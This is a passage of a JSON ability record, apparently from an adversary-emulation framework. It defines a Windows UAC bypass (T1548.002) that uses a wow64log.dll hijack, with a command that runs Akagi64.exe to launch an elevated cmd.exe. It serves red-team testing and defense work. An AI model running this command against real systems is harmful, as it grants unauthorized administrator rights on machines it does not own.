Bypass User Access Control", "technique_id": "T1548.002", "name": "wow64log DLL Hijack", "description": "Dll Hijack of WOW64 logger wow64log.dll using Akagi.exe", "executors": [{"name": "cmd", "platform": "windows", "command": ".\\Akagi64.exe 30 C:\\Windows\\System32\\cmd.exe", "code": null, "language": null, "build_target": null, "payloads": ["Akagi64.exe"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": ".\\Akagi64.exe 30 C:\\Windows\\System32\\cmd.exe", "code": null, "language": null, "build_target": null, "payloads": ["Akagi64.exe"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["privilege-escalation"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}]